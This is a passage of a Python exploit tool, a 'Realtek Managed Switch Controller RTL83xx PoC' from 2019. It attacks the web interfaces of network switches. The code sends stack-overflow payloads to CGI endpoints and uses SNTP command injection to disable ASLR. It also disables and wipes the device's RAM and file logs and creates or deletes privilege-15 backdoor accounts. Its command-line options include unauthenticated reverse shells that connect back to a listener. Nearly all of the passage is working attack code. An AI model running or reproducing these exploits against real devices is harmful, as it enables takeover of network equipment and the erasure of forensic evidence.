response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False)
response = response.read().split()
DEBUG("RECV",response)
if response[0] == '0':
SNTP.success("ASLR disabled")
ASLR_ENABLED = False
else:
SNTP.failure("ASLR Enabled")
return False
except Exception as e:
DEBUG("RECV",str(e))
if force:
SNTP.success("Forcing... ASLR might been disabled")
else:
SNTP.failure(str(e))
return False
try:
time.sleep(1)
URI = self.target['exploit']['stack_cgi_sntp']['uri']
SNTP.status("Removing injection")
query_args = self.target['exploit']['stack_cgi_sntp']['content']
query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_sntp']['sys_timeSntpDel_set'] + 0x58000000)) )
query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_sntp']['sys_timeSntpDel_set_cmd'])
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
DEBUG("RECV",response.read())
SNTP.failure("Removing injection: Failed!")
if self.Workaround:
self.Workaround_logout()
return False
except Exception as e:
DEBUG("RECV",str(e))
if e.code == 502:
SNTP.status("Done")
if self.Workaround:
self.Workaround_logout()
pass
else:
SNTP.failure(str(e))
return False
try:
time.sleep(1)
SNTP.status("Disable SNTP")
query_args = self.target['exploit']['stack_cgi_sntp']['content']
query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set'] + 0x58000000)) )
query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set_cmd_disable'])
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
DEBUG("RECV",response.read())
if self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set_SIGSEGV']:
SNTP.failure("Disable SNTP: Failed!")
return False
if self.Workaround:
self.Workaround_logout()
except Exception as e:
DEBUG("RECV",str(e))
if e.code == 502:
SNTP.status("SNTP Disabled")
if self.Workaround:
self.Workaround_logout()
pass
else:
SNTP.failure(str(e))
return False
if not ASLR_ENABLED:
SNTP.success("Success")
return True
else:
SNTP.failure("ASLR Enabled: Failure")
return False
def stack_cgi_log(self, target):
self.target = target
self.Workaround = self.target['exploit']['stack_cgi_log']['workaround']
if self.Workaround:
self.Workaround_logout()
URI = self.target['exploit']['stack_cgi_log']['uri']
logging = log.progress("Stack LOG disable & clean")
if not self.target['exploit']['stack_cgi_log']['vulnerable']:
logging.failure("No logging on this switch (?)")
return True
try:
time.sleep(1)
logging.status("Trying to disable")
query_args = self.target['exploit']['stack_cgi_log']['content']
query_args = query_args.replace("_JUMP_", struct.pack('>L',self.target['exploit']['stack_cgi_log']['log_settings_set'] + 0x58000000) )
query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_log']['log_settings_set_cmd'])
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
DEBUG("RECV",response.read())
if self.target['exploit']['stack_cgi_log']['log_settings_set_SIGSEGV']:
logging.failure("Disable: Failed!")
return False
if self.Workaround:
self.Workaround_logout()
except Exception as e:
DEBUG("RECV",str(e))
if e.code == 502:
logging.status("Disabled")
if self.Workaround:
self.Workaround_logout()
pass
else:
logging.failure(str(e))
return False
try:
time.sleep(1)
logging.status("Trying to clean ramlog")
query_args = self.target['exploit']['stack_cgi_log']['content']
query_args = query_args.replace("_JUMP_", struct.pack('>L',self.target['exploit']['stack_cgi_log']['log_ramClear'] + 0x58000000) )
query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_log']['log_ramClear_cmd'])
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
DEBUG("RECV",response.read())
if self.target['exploit']['stack_cgi_log']['log_ramClear_SIGSEGV']:
logging.failure("Clean RAM: Failed!")
return False
if self.Workaround:
self.Workaround_logout()
logging.status("Cleaned")
except Exception as e:
DEBUG("RECV",str(e))
if e.code == 502:
logging.status("Cleaned")
if self.Workaround:
self.Workaround_logout()
pass
else:
logging.failure(str(e))
return False
try:
time.sleep(1)
logging.status("Trying to clean filelog")
query_args = self.target['exploit']['stack_cgi_log']['content']
query_args = query_args.replace("_JUMP_", struct.pack('>L',self.target['exploit']['stack_cgi_log']['log_fileClear'] + 0x58000000) )
query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_log']['log_fileClear_cmd'])
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
DEBUG("RECV",response.read())
if self.target['exploit']['stack_cgi_log']['log_fileClear_SIGSEGV']:
logging.failure("Clean FILE: Failed!")
return False
if self.Workaround:
self.Workaround_logout()
logging.status("Cleaned")
except Exception as e:
DEBUG("RECV",str(e))
if e.code == 502:
logging.status("Cleaned")
if self.Workaround:
self.Workaround_logout()
pass
else:
logging.failure(str(e))
return False
if self.Workaround:
self.Workaround_logout()
logging.success("Success")
return True
def verify_target(self,target,check_all):
self.target = target
self.check_all = check_all
self.headers['Content-Type'] = "multipart/form-data; boundary=-------"
self.Workaround = self.target['exploit']['heack_cgi_shell']['workaround']
sorted_dict = OrderedDict(sorted(self.target['verify'].items(), key=lambda t: t[0]))
for check in sorted_dict:
if self.Workaround:
self.Workaround_logout()
if not self.check_all:
check = self.target['exploit']['heack_cgi_shell']['cgi']
cgi = log.progress("{:.<30}".format(check))
if not len(self.target['verify'][check]['content']) == 0:
if self.target['verify'][check]['Content-Type']:
query_args = "Content-Type\n\n" + self.target['verify'][check]['content']
else:
query_args = self.target['verify'][check]['content']
if not self.target['verify'][check]['safe']:
cgi.success("Vulnerable ({})".format(self.target['verify'][check]['content']))
continue
URI = self.target['verify'][check]['uri']
if target.get('hash_uri'):
URI += self.netgear_hash(URI)
try:
if not len(self.target['verify'][check]['content']) == 0:
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
else:
DEBUG("SEND",URI)
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False)
if self.target['verify'][check]['response'] == 'json':
result = json.loads(response.read())
DEBUG("RECV",result)
if result['result'] == 1 and result['msg'] == "Invalid file format.":
cgi.success("Vulnerable ({})".format(result['msg']))
if not self.check_all:
return True
else:
cgi.failure("NOT Vulnerable")
if not self.check_all:
return False
elif self.target['verify'][check]['response'] == 'xss':
response = re.split('["?=&<>]',response.read())
DEBUG("RECV",response)
count = 0
for content in range(0,len(response)):
if response[content] == self.target['verify'][check]['content_check']:
cgi.success("Vulnerable")
if not self.check_all:
return True
else:
if response[content] == 'alert(XSS);' and response[content-1] == 'script' and response[content+1] == '/script':
count += 1
if count:
cgi.success("Vulnerable (XSS: {})".format(count))
if not self.check_all:
return True
else:
cgi.failure("NOT Vulnerable")
if not self.check_all:
return False
elif self.target['verify'][check]['response'] == 'html':
response = re.split("['()<>\n:,.&=]",response.read())
DEBUG("RECV",response)
for content in range(0,len(response)):
if response[content] == self.target['verify'][check]['content_check'] or response[content] == 'Image CRC32 Error':
cgi.success("Vulnerable ({})".format(response[content]))
if not self.check_all:
return True
elif response[content] == 'errkey':
if response[content+1] == self.target['verify'][check]['content_check'] and int(response[content+3]) == int(len(self.target['verify'][check]['content'])):
cgi.success("Vulnerable ({})".format(response[content+1]))
if not self.check_all:
return True
else:
cgi.failure("NOT Vulnerable")
if not self.check_all:
return False
elif self.target['verify'][check]['response'] == 'file':
if self.target['verify'][check]['check_uri']:
try:
time.sleep(1)
URI = self.target['verify'][check]['check_uri']
DEBUG("SEND",URI)
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False)
response = response.read()
DEBUG("RECV",response)
if response == self.target['verify'][check]['content_check']:
cgi.success("Vulnerable ({})".format(response))
if not self.check_all:
return True
else:
cgi.failure("NOT Vulnerable")
if not self.check_all:
return False
except Exception as e:
cgi.failure(str(e))
return False
else:
cgi.failure("Not vulnerable")
if not self.check_all:
return False
cgi.failure("Not vulnerable")
if not self.check_all:
return False
except Exception as e:
DEBUG("RECV",str(e))
if e.code == 502:
cgi.success("Vulnerable ({})".format(e))
if not self.check_all:
return True
pass
else:
cgi.failure(str(e))
return False
return True
def check_remote(self,etag):
self.manualETag = etag
remote = log.progress("Target")
if self.manualETag:
if self.manualETag == 'help':
print ""
remote.success("List of known targets")
elif self.manualETag == 'info':
print ""
remote.success("Brief information of known targets")
target = Vendor(self.manualETag).dict()
if target:
remote.success("{} ({} v{})".format(target['vendor'],target['model'],target['version']))
return target
else:
remote.failure("Unknown ({})".format(self.manualETag))
return False
remote.status("Checking")
URI = '/'
DEBUG("SEND",URI)
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,True)
result = response.read().split()
DEBUG("RECV",result)
self.ETag = response.info().get('ETag').replace('"','')
DEBUG("RECV",response.info())
target = Vendor(self.ETag).dict()
if not target:
remote.failure("Unknown ({})".format(self.ETag))
return False
if target:
remote.success("{} ({} v{})".format(target['vendor'],target['model'],target['version']))
if target['info_leak']:
info_leak = log.progress("Model")
URI = target['info_leak_uri']
DEBUG("SEND",URI)
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,True)
response = response.read()
if target['info_leak_JSON']:
result = json.loads(response)
DEBUG("RECV",response)
tmp = result.get('data')
if tmp.get('description'):
info_leak.success(result['data']['description'])
elif tmp.get('productName'):
info_leak.success(result['data']['productName'])
elif tmp.get('title'):
info_leak.success(result['data']['title'])
else:
info_leak.failure("Failed")
else:
response = re.split('[()<>\n:,.;=" ]',response)
DEBUG("RECV",response)
for check in range(0,len(response)):
if response[check] == 'modelName':
info_leak.success(response[check+2])
return target
info_leak.failure("Not found")
print response
return target
def add_user(self,target):
self.target = target
add = log.progress("Adding credentials")
if not self.target['exploit']['priv15_account']['vulnerable']:
add.failure("Not listed as vulnerable")
if self.target['exploit']['stack_cgi_add_account']['vulnerable']:
return self.stack_add_account(self.target)
else:
return False
USERNAME = self.credentials.split(':')[0]
if USERNAME == 'admin' or USERNAME == 'cisco':
log.failure("[bad boy] Username '{}' shall not be changed!".format(USERNAME))
return False
if target['exploit']['priv15_account']['encryption'] == 'md5':
PASSWORD = self.md5hash(self.credentials.split(':')[1], base64encode=True)
elif target['exploit']['priv15_account']['encryption'] == 'clear':
PASSWORD = self.credentials.split(':')[1]
elif target['exploit']['priv15_account']['encryption'] == 'nopassword':
PASSWORD = 'nopassword'
else:
log.failure("No password type")
return False
query_args = self.target['exploit']['priv15_account']['content']
query_args = query_args.replace('USERNAME',USERNAME)
query_args = query_args.replace('PASSWORD',PASSWORD)
log.info("Credentials: {}/{}".format(USERNAME,PASSWORD))
try:
add.status("Trying...")
URI = target['exploit']['priv15_account']['add_uri']
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
response = response.read().split()
DEBUG("RECV",response)
for check in range(0,len(response)):
if response[check] == 'init(){fileLoadWait();' or response[check] == 'id="reason">Merging' or response[check] == '(tmpStr.indexOf("FlashWriteDone")':
add.success("Success")
time.sleep(5)
return True
except Exception as e:
add.failure("error {}".format(e))
return False
add.failure("Failed")
print response
return False
def del_user(self, target):
self.target = target
if not self.target['exploit']['priv15_account']['vulnerable']:
remove.failure("Not listed as vulnerable")
if self.target['exploit']['stack_cgi_del_account']['vulnerable']:
return self.stack_del_account(self.target)
else:
return False
USERNAME = self.credentials.split(':')[0]
remove = log.progress("Remove credentials for {}".format(USERNAME))
if USERNAME == 'admin' or USERNAME == 'cisco':
remove.failure("[bad boy] Username '{}' shall not be deleted!".format(USERNAME))
return False
if self.check_XSID(self.target):
self.headers['X-CSRF-XSID'] = self.Cisco_XSID(self.target)
try:
remove.status("Trying...")
URI = target['exploit']['priv15_account']['del_uri']
if len(self.target['exploit']['priv15_account']['del_query']) >= 1:
query_args = self.target['exploit']['priv15_account']['del_query']
query_args = query_args.replace('USERNAME',USERNAME)
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
result = response
else:
URI = URI.replace('USERNAME',USERNAME)
DEBUG("SEND",URI)
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False)
result = response
response = response.read()
DEBUG("RECV",response)
if not self.target['exploit']['priv15_account']['json']:
if result.code == 200 and len(response) == 0:
remove.success("Success")
return True
response = response.split("'")
DEBUG("RECV",response)
for check in range(0,len(response)):
if response[check] == ': The user is not exist!!<br>' or response[check] == 'Error String':
remove.failure("User do not exist")
self.logout(self.target)
return False
remove.failure("Failed")
self.logout(self.target)
return False
else:
result = json.loads(response.read())
DEBUG("RECV",result)
if result['status'] == 'ok' and result['msgType'] == 'save_success':
remove.success("Success")
return True
except Exception as e:
log.info("error {}".format(e))
return False
remove.failure("Failed")
print result
return False
def logout(self, target):
self.target = target
logout = log.progress("Logging out")
if not self.target['login']['vulnerable']:
logout.failure("Not listed as vulnerable")
return False
logout.status("Trying...")
if self.check_XSID(self.target):
self.headers['X-CSRF-XSID'] = self.Cisco_XSID(self.target)
URI = self.target['login']['logout_uri']
DEBUG("SEND",URI)
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,True)
response = response.read()
if not self.target['login']['json']:
response = response.split()
DEBUG("RECV",response)
for check in range(0,len(response)):
if response[check] == 'function goback(){' or response[check] == 'onload="goback();">':
logout.success("Success")
return True
logout.failure("Failed")
return False
else:
result = json.loads(response)
DEBUG("RECV",result)
if result['status'] == 'ok' and result['msgType'] == 'success' or result['status'] == 'ok' and result['msgType'] == 'save_success':
logout.success("Success")
return True
else:
logout.failure("Failed")
print result
return False
def login(self,target):
self.target = target
login = log.progress("Login")
if not self.target['login']['vulnerable']:
login.failure("Not listed as vulnerable")
return False
try:
USERNAME = self.credentials.split(':')[0]
if self.target['login']['encryption'] == 'rsa':
PASSWORD = self.RSA_Password(self.credentials.split(':')[1])
elif self.target['login']['encryption'] == 'caesar':
PASSWORD = self.caesar_encode(self.credentials.split(':')[1])
elif self.target['login']['encryption'] == 'encode':
PASSWORD = self.obfuscation_encode(self.credentials.split(':')[1])
elif self.target['login']['encryption'] == 'clear':
PASSWORD = self.credentials.split(':')[1]
else:
login.failure("No login password matching")
return False
query_args = self.target['login']['query']
query_args = query_args.replace('USERNAME',USERNAME)
query_args = query_args.replace('PASSWORD',PASSWORD)
URI = self.target['login']['login_uri']
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
response = response.read()
if not self.target['login']['json']:
response = response.split()
DEBUG("RECV",response)
for check in range(0,len(response)):
if response[check] == 'top.location.replace("/cgi-bin/dispatcher.cgi?cmd=1")' or response[check] == 'href="/cgi-bin/dispatcher.cgi?cmd=5890':
login.success("Success")
return True
elif response[check] == 'window.location.replace("/cgi-bin/dispatcher.cgi?cmd=3");':
login.success("Already logged in")
return True
elif response[check] == 'top.location.replace("/cgi-bin/dispatcher.cgi?cmd=5")':
login.failure("Failed")
return False
elif len(response) == check + 1:
login.failure("Not supported device")
print response
return False
else:
result = json.loads(response)
DEBUG("RECV",result)
if result['status'] == 'ok' and result['msgType'] == 'save_success' or result['status'] == 'ok' and result['msgType'] == 'success':
login.status("Verifying")
URI = self.target['login']['status_uri']
DEBUG("SEND",URI)
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False)
response = response.read()
result = json.loads(response)
DEBUG("RECV",result)
if result['data']['status'] == 'ok':
login.success("Success")
return True
elif result['data']['status'] == 'authing':
time.sleep(2)
URI = self.target['login']['status_uri']
login.status("One more time...")
DEBUG("SEND",URI)
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False)
response = response.read()
result = json.loads(response)
DEBUG("RECV",result)
if result['data']['status'] == 'ok':
login.success("Success")
return True
else:
login.failure("Failed (Authing)")
return False
elif result['data']['status'] == 'fail':
login.failure("Failed {}".format(result['data']['failReason']))
return False
except Exception as e:
login.failure("error {}".format(e))
return False
def disable_clean_log(self, target):
self.target = target
clear_log = log.progress("Logging disable & clean")
if not self.target['log']['vulnerable']:
clear_log.failure("Not listed as vulnerable")
return False
if self.check_XSID(self.target):
self.headers['X-CSRF-XSID'] = self.Cisco_XSID(self.target)
try:
clear_log.status("Trying to disable")
URI = self.target['log']['disable_uri']
query_args = self.target['log']['disable_query']
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
response = response.read()
DEBUG("RECV",response)
URI = self.target['log']['status']
DEBUG("SEND",URI)
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False)
response = response.read()
if not self.target['log']['json']:
response = re.split("[<>\n]",response)
DEBUG("RECV",response)
for check in range(0,len(response)):
if response[check] == 'window.location.replace("/cgi-bin/dispatcher.cgi?cmd=5120");':
clear_log.status("Disabled")
break
else:
result = json.loads(response)
DEBUG("RECV",result)
if result['data']['logState'] == False:
clear_log.status("Disabled")
else:
clear_log.failure("Logging still enabled")
return False
clear_log.status("Trying to clean")
URI = self.target['log']['clean_logfile_uri']
query_args = self.target['log']['clean_logfile_query']
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
response = response.read()
if not self.target['log']['json']:
response = re.split("[<>'\n]",response)
DEBUG("RECV",response)
for check in range(0,len(response)):
if response[check] == '/cgi-bin/dispatcher.cgi?cmd=5129' or response[check] == '/cgi-bin/dispatcher.cgi?cmd=4361':
clear_log.status("Disabled")
URI = self.target['log']['clean_logmem_uri']
query_args = self.target['log']['clean_logmem_query']
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
response = response.read()
response = re.split("[<>'\n]",response)
DEBUG("RECV",response)
for check in range(0,len(response)):
if response[check] == '/cgi-bin/dispatcher.cgi?cmd=5129' or response[check] == '/cgi-bin/dispatcher.cgi?cmd=4361':
clear_log.success("Success")
return True
break
clear_log.failure("Failed")
return False
else:
result = json.loads(response)
DEBUG("RECV",result)
if result['status'] == 'ok' and result['msgType'] == 'save_success':
URI = self.target['log']['clean_logmem_uri']
query_args = self.target['log']['clean_logmem_query']
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
response = response.read()
result = json.loads(response)
DEBUG("RECV",result)
if result['status'] == 'ok' and result['msgType'] == 'save_success':
clear_log.success("Success")
return True
else:
clear_log.failure("Failed")
return False
else:
clear_log.failure("Failed")
return False
except Exception as e:
log.info("error {}".format(e))
return False
clear_log.failure("LOG Failed")
return False
def SNTP(self, target):
self.target = target
SNTP = log.progress("SNTP")
if not self.target['exploit']['sntp']['vulnerable']:
SNTP.failure("Not listed as vulnerable")
return False
SNTP.status("Trying...")
if self.check_XSID(self.target):
self.headers['X-CSRF-XSID'] = self.Cisco_XSID(self.target)
SNTP.status("Enable SNTP")
URI = self.target['exploit']['sntp']['enable_uri']
query_args = self.target['exploit']['sntp']['enable_query']
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
response = response.read()
if not self.target['exploit']['sntp']['json']:
response = re.split("[<>\n]",response)
DEBUG("RECV",response)
for check in range(0,len(response)):
if response[check] == 'SNTP':
if response[check+5] == 'Enabled' or response[check+5] == 'Enable' or response[check+7] == 'Enabled' or response[check+7] == 'Enable':
SNTP.status("SNTP Enabled")
elif response[check+5] == 'Disabled' or response[check+5] == 'Disable' or response[check+7] == 'Disabled' or response[check+7] == 'Disable':
SNTP.failure("SNTP Disabled")
return False
else:
SNTP.failure("Enable SNTP Failed")
return False
else:
response = self.clean_json(response)
result = json.loads(response)
DEBUG("RECV",result)
if result['status'] == 'ok' and result['msgType'] == 'save_success':
URI = self.target['exploit']['sntp']['status_uri']
DEBUG("SEND",URI)
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False)
response = response.read()
response = self.clean_json(response)
result = json.loads(response)
DEBUG("RECV",result)
for status in result['data']:
if status == 'sntp' and result['data']['sntp'] == True:
SNTP.status("SNTP Enabled")
break
elif status == 'sntp' and result['data']['sntp'] == False:
SNTP.failure("SNTP Disabled")
return False
elif status == 'sntpStatus' and result['data']['sntpStatus'] == True:
SNTP.status("SNTP Enabled")
break
elif status == 'sntpStatus' and result['data']['sntpStatus'] == False:
SNTP.failure("SNTP Disabled")
return False
else:
SNTP.failure("Enable SNTP Failed")
return False
URI = self.target['exploit']['sntp']['inject_uri']
query_args = self.target['exploit']['sntp']['inject_query']
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
response = response.read()
if not self.target['exploit']['sntp']['json']:
response = response.split('"')
DEBUG("RECV",response)
for check in range(0,len(response)):
if response[check] == '/cgi-bin/dispatcher.cgi?cmd=549':
query_args = self.target['exploit']['sntp']['check_query']
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
response = response.read()
response = response.split('"')
DEBUG("RECV",response)
for check in range(0,len(response)):
if response[check] == '/cgi-bin/dispatcher.cgi?cmd=549':
URI = self.target['exploit']['sntp']['verify_uri']
DEBUG("SEND",URI)
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False)
response = response.read().split()
DEBUG("RECV",response)
if response[0] == '0':
SNTP.status("ASLR disabled")
break
else:
SNTP.failure("Check Failed")
return False
break
else:
response = self.clean_json(response)
result = json.loads(response)
DEBUG("RECV",result)
if result['status'] == 'ok' and result['msgType'] == 'save_success':
query_args = self.target['exploit']['sntp']['check_query']
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
response = response.read()
response = self.clean_json(response)
result = json.loads(response)
DEBUG("RECV",result)
if result['status'] == 'ok' and result['msgType'] == 'save_success':
URI = self.target['exploit']['sntp']['verify_uri']
DEBUG("SEND",URI)
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False)
response = response.read().split()
DEBUG("RECV",response)
if response[0] == '0':
SNTP.status("ASLR disabled")
else:
SNTP.failure("Check Failed")
return False
else:
SNTP.failure("RCE #2 Failed")
return False
else:
SNTP.failure("RCE #1 Failed")
return False
SNTP.status("Removing RCE")
URI = self.target['exploit']['sntp']['delete_uri']
query_args = self.target['exploit']['sntp']['delete_query']
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
response = response.read()
if not self.target['exploit']['sntp']['json']:
response = response.split('"')
DEBUG("RECV",response)
for check in range(0,len(response)):
if response[check] == '/cgi-bin/dispatcher.cgi?cmd=549':
SNTP.status("RCE Removed")
break
else:
response = self.clean_json(response)
result = json.loads(response)
DEBUG("RECV",result)
if result['status'] == 'ok' and result['msgType'] == 'save_success':
SNTP.status("RCE Removed")
else:
SNTP.failure("RCE Remove Failed")
return False
URI = self.target['exploit']['sntp']['disable_uri']
query_args = self.target['exploit']['sntp']['disable_query']
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
response = response.read()
if not self.target['exploit']['sntp']['json']:
response = re.split("[<>\n]",response)
DEBUG("RECV",response)
for check in range(0,len(response)):
if response[check] == 'SNTP':
if response[check+5] == 'Enabled' or response[check+5] == 'Enable' or response[check+7] == 'Enabled' or response[check+7] == 'Enable':
SNTP.failure("SNTP Enabled")
elif response[check+5] == 'Disabled' or response[check+5] == 'Disable' or response[check+7] == 'Disabled' or response[check+7] == 'Disable':
SNTP.status("SNTP Disabled")
else:
SNTP.failure("Disable SNTP Failed")
return False
else:
response = self.clean_json(response)
result = json.loads(response)
DEBUG("RECV",result)
if result['status'] == 'ok' and result['msgType'] == 'save_success':
URI = self.target['exploit']['sntp']['status_uri']
DEBUG("SEND",URI)
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False)
response = response.read()
response = self.clean_json(response)
result = json.loads(response)
DEBUG("RECV",result)
for status in result['data']:
if status == 'sntp' and result['data']['sntp'] == True:
SNTP.failure("SNTP Enabled")
return False
elif status == 'sntp' and result['data']['sntp'] == False:
SNTP.status("SNTP Disabled")
break
elif status == 'sntpStatus' and result['data']['sntpStatus'] == True:
SNTP.failure("SNTP Enabled")
return False
elif status == 'sntpStatus' and result['data']['sntpStatus'] == False:
SNTP.status("SNTP Disabled")
break
else:
SNTP.failure("Disable SNTP Failed")
return False
SNTP.success("ASLR: Success")
return True
if __name__ == '__main__':
INFO = 'Realtek Managed Switch Controller RTL83xx PoC (2019 bashis)\n'
HTTP = "http"
HTTPS = "https"
proto = HTTP
verbose = False
raw_request = True
rhost = '192.168.57.20'
rport = '80'
lhost = '192.168.57.1'
lport = '1337'
creds = 'pwn:pwn'
etag = ''
try:
arg_parser = argparse.ArgumentParser(
prog=sys.argv[0],
description=('[*] '+ INFO +' [*]'))
arg_parser.add_argument('--rhost', required=False, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']')
arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']')
arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')
if creds:
arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ creds + ']')
arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')
arg_parser.add_argument('--hydra', required=False, default=False, action='store_true', help='Boa/Hydra Web Server - reverse shell')
arg_parser.add_argument('--force', required=False, default=False, action='store_true', help='Ignore warnings for exploits marked not safe')
arg_parser.add_argument('--etag', required=False, help='Select target manually with their ETag')
arg_parser.add_argument('--shell', required=False, default=False, action='store_true', help='Unauthenticated - reverse shell - CGIs')
arg_parser.add_argument('--debug', required=False, default=False, action='store_true', help='Debug SEND/RECV data and line numbers in code')
arg_parser.add_argument('--verify', required=False, default=False, action='store_true', help='Verify unauthenticated vulnerabilities - CGIs')
arg_parser.add_argument('--report', required=False, default=False, action='store_true', help='Generate report based on dictionary')
arg_parser.add_argument('--adduser', required=False, default=False, action='store_true', help='Add "'+ creds + '" with privilege 15')
arg_parser.add_argument('--deluser', required=False, default=False, action='store_true', help='Delete "'+ creds + '" credentials')
args = arg_parser.parse_args()
except Exception as e:
log.info(INFO)
log.info("Error: {}".format(e))
sys.exit(1)
if len(sys.argv) == 1:
arg_parser.parse_args(['-h'])
print ""
log.info(INFO)
if args.report:
Vendor("report").dict()
sys.exit(0)
if args.debug:
debug = True
if args.force:
force = True
if args.https:
proto = HTTPS
if not args.rport:
rport = '443'
if creds and args.auth:
creds = args.auth
if args.rport:
rport = args.rport
if args.etag:
etag = args.etag
if args.rhost:
rhost = args.rhost
if args.lport:
lport = args.lport
if args.lhost:
lhost = args.lhost
if not Validate(verbose).Port(rport):
log.failure("Invalid RPORT - Choose between 1 and 65535")
sys.exit(1)
if not Validate(verbose).Port(lport):
log.failure("Invalid LPORT - Choose between 1 and 65535")
sys.exit(1)
port_hex = hex(int(lport))[2:]
port_hex = port_hex.zfill(len(port_hex) + len(port_hex) % 2)
port_hex = ' '.join(port_hex[i: i+2] for i in range(0, len(port_hex), 2))
port_hex = port_hex.split()
if len(port_hex) == 1:
port_hex = ('00' + ' ' + ''.join(port_hex)).split()
for c in port_hex:
if c == '00':
log.failure("Choosen port (dec: {}, hex: {}) contains 0x00 - aborting".format(lport,hex(int(lport))))
sys.exit(1)
rhost = Validate(verbose).Host(rhost)
if not rhost:
log.failure("Invalid RHOST")
sys.exit(1)
lhost = Validate(verbose).Host(lhost)
if not lhost:
log.failure("Invalid LHOST")
sys.exit(1)
if args.https:
log.info("HTTPS / SSL Mode Selected")
log.info("RHOST: {}".format(rhost))
log.info("RPORT: {}".format(rport))
log.info("LHOST: {}".format(lhost))
log.info("LPORT: {}".format(lport))
rhost = rhost + ':' + rport
try:
headers = {
'Host':rhost,
'User-Agent':'Chrome',
'Accept':'*/*',
'Content-Type':'application/x-www-form-urlencoded'
}
target = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).check_remote(etag)
if target:
if args.verify:
RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).verify_target(target,True)
elif args.hydra:
if not target['exploit']['heack_hydra_shell']['safe'] and not args.force:
log.failure("Boa/Hydra listed as not safe (most likely DoS), force with '--force'")
log.failure("The best chance of success is with fresh heap and select target model manually")
log.failure("use '--etag' for manual selection, '--etag help' for known targets")
success = False
else:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).heack_hydra_shell(target)
success = False
elif args.adduser:
if target['exploit']['stack_cgi_add_account']['vulnerable']:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_add_account(target)
else:
